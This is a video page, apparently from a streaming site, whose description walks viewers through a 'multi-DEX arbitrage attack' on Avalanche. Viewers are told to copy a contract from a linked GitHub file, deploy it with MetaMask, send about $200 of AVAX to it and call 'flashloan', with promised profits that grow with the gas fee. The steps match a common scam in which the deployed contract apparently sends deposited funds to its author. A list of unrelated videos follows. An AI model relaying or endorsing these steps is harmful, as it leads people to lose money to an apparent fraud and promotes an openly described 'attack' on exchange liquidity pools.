Premium Only Content
			AVAX - Avalanche: Setting up a Multi DEX arbitrage attack using solidity
In this video you will see how to setup an arbitrage attack on two DEXs; You will create the coin on Pangolin and then trade this coin rapidly against SushiSwap. Be sure to make sure that you have metamask connected to Avalanche Mainnet and have AVAX in your wallet to fund the transaction.
*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.
***NOTE: AVAX must be withdrawn to ‘AVAX C-Chain’. which is EVM/Metamask compatible chain
Setup Metamask to connect to Avalanche Mainnet –
https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Smart Contract Code Link –
https://raw.githubusercontent.com/MC-Finance/contracts/main/AvaxArbitrageContract.sol
Remix Link –
http://remix.ethereum.org/
Pangolin –
https://pangolin.exchange/
Pangolin Github –
https://github.com/pangolindex
Flash Loan Explanation –
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to AVAX –
https://coincodex.com/convert/avalanche/usd/
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Avalanche Mainnet by deploying Contract/Token to mask our arbitrage attack against Pangolin.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
Open and setup Remix in browser (
https://remix.ethereum.org
)
Copy the Contract code (
https://raw.githubusercontent.com/MC-Finance/contracts/main/AvaxArbitrageContract.sol
)
Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
Get the Contract address from Remix
Send 200$ish of Avalanche/AVAX to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
Call ‘flashloan’ function in Remix.
- 	
				
							2:06:09
								Inverted World Live
9 hours agoMysterious Crash at Area 51 | Ep. 134
24.4K12 - 	
				
							2:48:59
								TimcastIRL
7 hours agoTrump Endorses Cuomo, Says NO COMMIE MAMDANI, Obama REFUSES To Endorse Mamdani | Timcast IRL
260K171 - 	
				
							5:51:16
								Drew Hernandez
1 day agoGOP CIVIL WAR: TUCKER CARLSON DERANGEMENT SYNDROME AT ALL TIME HIGH
46.5K41 - 	
				
							14:44
								Sponsored By Jesus Podcast
1 day agoYou Can't Serve God & MONEY | Is Money the Root of All Evil?
19.9K20 - 	
				
							2:47:28
								Barry Cunningham
11 hours agoYOU'VE BEEN MISINFORMED! GREED IS ACTUALLY GOOD! ESPECIALLY NOW! (AND MORE NEWS)
96.1K41 - 	
				
							7:18:24
								SpartakusLIVE
11 hours agoSNIPING in Battlefield 6 - REDSEC || Monday MOTIVATION to CONQUER the Week
54K6 - 	
				
							49:25
								ThisIsDeLaCruz
7 hours ago $17.97 earnedBack Stage Pass with Avenged Sevenfold
56.3K10 - 	
				
							6:43:40
								GritsGG
12 hours agoWorld Record Win Streak Attempt! #1 Most Wins 3880+!
30.5K3 - 	
				
							3:12:05
								Tundra Tactical
9 hours ago $25.65 earnedProfessional Gun Nerd Plays Battlefield 6
59.4K6 - 	
				
							1:01:12
								Donald Trump Jr.
12 hours agoThe China Matrix with Journalist Lee Smith | TRIGGERED Ep.288
148K92